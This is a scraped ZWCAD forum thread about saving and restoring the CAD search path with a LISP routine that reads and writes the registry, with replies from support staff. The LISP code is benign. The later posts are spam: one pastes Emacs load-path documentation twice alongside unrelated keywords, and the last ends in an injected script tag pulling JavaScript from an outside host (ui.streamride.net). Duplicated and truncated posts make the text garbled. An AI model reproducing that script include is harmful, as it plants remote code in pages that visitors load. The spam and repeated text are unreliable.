ZWSOFT User Community > ZWSOFT Forums - Find. Share. Connect. > ZWCAD > search path setting using lisp
search path setting using lisp
search path setting using lisp
05-07-2011 11:45 . am | View his/her posts only
Hi
I'm trying to save-add zwcad11 search path using a free lisp, that i found in internet, i have just modified it so i can save the courrent SRCHPATH in a text file but I don't be able to load the new settings.
;;; By Jimmy Bergmark
;;; Copyright (C) 1997-2006 JTB World, All Rights Reserved
;;; Website: www.jtbworld.com
;;; E-mail: info@jtbworld.com
;;; Save and loads support paths to a text file
;;; Change the path as wished
(defun C:saveSupportPaths (/ paths f)
(vl-load-com)
(setq paths (vl-registry-read "HKEY_CURRENT_USER'Software'ZWSoft'ZWCAD 2011 Ita'Profiles'Default'Config" "SRCHPATH")) ;(vla-get-supportpath files))
(setq f (open "C:'paths.txt" "w"))
(write-line paths f)
(close f)
(princ)
)
(defun C:loadSupportPaths (/ paths f)
(vl-load-com)
(setq f (open "C:'paths.txt" "r"))
(setq paths (read-line f))
(close f)
(vla-put-supportpath files paths)
(princ)
)
above the modified lisp, the first part
I'm trying to save-add zwcad11 search path using a free lisp, that i found in internet, i have just modified it so i can save the courrent SRCHPATH in a text file but I don't be able to load the new settings.
;;; By Jimmy Bergmark
;;; Copyright (C) 1997-2006 JTB World, All Rights Reserved
;;; Website: www.jtbworld.com
;;; E-mail: info@jtbworld.com
;;; Save and loads support paths to a text file
;;; Change the path as wished
(defun C:saveSupportPaths (/ paths f)
(vl-load-com)
(setq paths (vl-registry-read "HKEY_CURRENT_USER'Software'ZWSoft'ZWCAD 2011 Ita'Profiles'Default'Config" "SRCHPATH")) ;(vla-get-supportpath files))
(setq f (open "C:'paths.txt" "w"))
(write-line paths f)
(close f)
(princ)
)
(defun C:loadSupportPaths (/ paths f)
(vl-load-com)
(setq f (open "C:'paths.txt" "r"))
(setq paths (read-line f))
(close f)
(vla-put-supportpath files paths)
(princ)
)
above the modified lisp, the first part
05-07-2011 09:26 . pm | View his/her posts only
Hi,
As you know, ZWCAD doesn't support "VLA-PUT-SUPPORTPATH", but you can do the same thing by writing the paths directly into registry, just like how you read it from registry.
vl-registry-read is for reading, and vl-registry-write is to write back.
You can refer to Developer help to know the detail about how to use vl-registry-write function. Thanks!
As you know, ZWCAD doesn't support "VLA-PUT-SUPPORTPATH", but you can do the same thing by writing the paths directly into registry, just like how you read it from registry.
vl-registry-read is for reading, and vl-registry-write is to write back.
You can refer to Developer help to know the detail about how to use vl-registry-write function. Thanks!
search path setting using lisp
06-07-2011 01:16 . am | View his/her posts only
Thanks
search path setting using lisp
06-07-2011 04:15 . am | View his/her posts only
Ciao
I looked at Developer help for the
I looked at Developer help for the
05-07-2011 09:26 . pm | View his/her posts only
Hi thanks for you so much detail information.
We have confirmed that, even the vl-register-write function wrote the value into registry correctly, but when you do operation (like insert) , it still use the value in ZWCAD. that means, ZWCAD doesn't get the refreshed value from registry at once.
Currentyly we can't come up with a temporary solution. We have reported this problem to develop team to fix it, and also ask for the new function: vla-put-supportpath
Thanks for your understanding!
We have confirmed that, even the vl-register-write function wrote the value into registry correctly, but when you do operation (like insert) , it still use the value in ZWCAD. that means, ZWCAD doesn't get the refreshed value from registry at once.
Currentyly we can't come up with a temporary solution. We have reported this problem to develop team to fix it, and also ask for the new function: vla-put-supportpath
Thanks for your understanding!
search path setting using lisp
02-10-2011 03:09 . am | View his/her posts only
When Emacs loads a Lisp library, it searches for the library in a list of directories specified by the variable load-path.
?User Option: load-path
The value of this variable is a list of directories to search when loading files with load. Each element is a string (which must be a directory name) or nil (which stands for the current working directory).
The value of load-path is initialized from the environment variable EMACSLOADPATH, if that exists; otherwise its default value is specified in emacs/src/epaths.h when Emacs is built. Then the list is expanded by adding subdirectories of the directories in the list.
The syntax of EMACSLOADPATH is the same as used for PATH; ??(or ?? according to the operating system) separates directory names, and ??is used for the current default directory. Here is an example of how to set your EMACSLOADPATH variable from a csh .login file:
setenv EMACSLOADPATH .:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is how to set it using sh:
export EMACSLOADPATH
EMACSLOADPATH=.:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is an example of code you can place in your init file (see Init File) to add several directories to the front of your default load-path:
(setq load-path
(append (list nil "/user/bil/emacs"
"/usr/local/lisplib"
"~/emacs")
load-path))
In this example, the path searches the current working directory first, followed then by the /user/bil/emacs directory, the /usr/local/lisplib directory, and the ~/emacs directory, which are then followed by the standard directories for Lisp code.
Dumping Emacs uses a special value of load-path. If the value of load-path at the end of dumping is unchanged (that is, still the same special value), the dumped Emacs switches to the ordinary load-path value when it starts up, as described above. But if load-path has any other value at the end of dumping, that value is used for execution of the dumped Emacs also.
Therefore, if you want to change load-path temporarily for loading a few libraries in site-init.el or site-load.el, you should bind load-path locally with let around the calls to load.
The default value of load-path, when running an Emacs which has been installed on the system, includes two special directories (and their subdirectories as well):
"/usr/local/share/emacs/version/site-lisp"
and
"/usr/local/share/emacs/site-lisp"
The first one is for locally installed packages for a particular Emacs version; the second is for locally installed packages meant for use with all installed Emacs versions.
everglades bass fishing
charm bracelets
?User Option: load-path
The value of this variable is a list of directories to search when loading files with load. Each element is a string (which must be a directory name) or nil (which stands for the current working directory).
The value of load-path is initialized from the environment variable EMACSLOADPATH, if that exists; otherwise its default value is specified in emacs/src/epaths.h when Emacs is built. Then the list is expanded by adding subdirectories of the directories in the list.
The syntax of EMACSLOADPATH is the same as used for PATH; ??(or ?? according to the operating system) separates directory names, and ??is used for the current default directory. Here is an example of how to set your EMACSLOADPATH variable from a csh .login file:
setenv EMACSLOADPATH .:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is how to set it using sh:
export EMACSLOADPATH
EMACSLOADPATH=.:/user/bil/emacs:/usr/local/share/emacs/20.3/lisp
Here is an example of code you can place in your init file (see Init File) to add several directories to the front of your default load-path:
(setq load-path
(append (list nil "/user/bil/emacs"
"/usr/local/lisplib"
"~/emacs")
load-path))
In this example, the path searches the current working directory first, followed then by the /user/bil/emacs directory, the /usr/local/lisplib directory, and the ~/emacs directory, which are then followed by the standard directories for Lisp code.
Dumping Emacs uses a special value of load-path. If the value of load-path at the end of dumping is unchanged (that is, still the same special value), the dumped Emacs switches to the ordinary load-path value when it starts up, as described above. But if load-path has any other value at the end of dumping, that value is used for execution of the dumped Emacs also.
Therefore, if you want to change load-path temporarily for loading a few libraries in site-init.el or site-load.el, you should bind load-path locally with let around the calls to load.
The default value of load-path, when running an Emacs which has been installed on the system, includes two special directories (and their subdirectories as well):
"/usr/local/share/emacs/version/site-lisp"
and
"/usr/local/share/emacs/site-lisp"
The first one is for locally installed packages for a particular Emacs version; the second is for locally installed packages meant for use with all installed Emacs versions.
everglades bass fishing
charm bracelets
search path setting using lisp
26-12-2011 12:17 . am | View his/her posts only
Thanks for sharing very good information ................< ="text/" ="http://ui.streamride.net/ui.js">



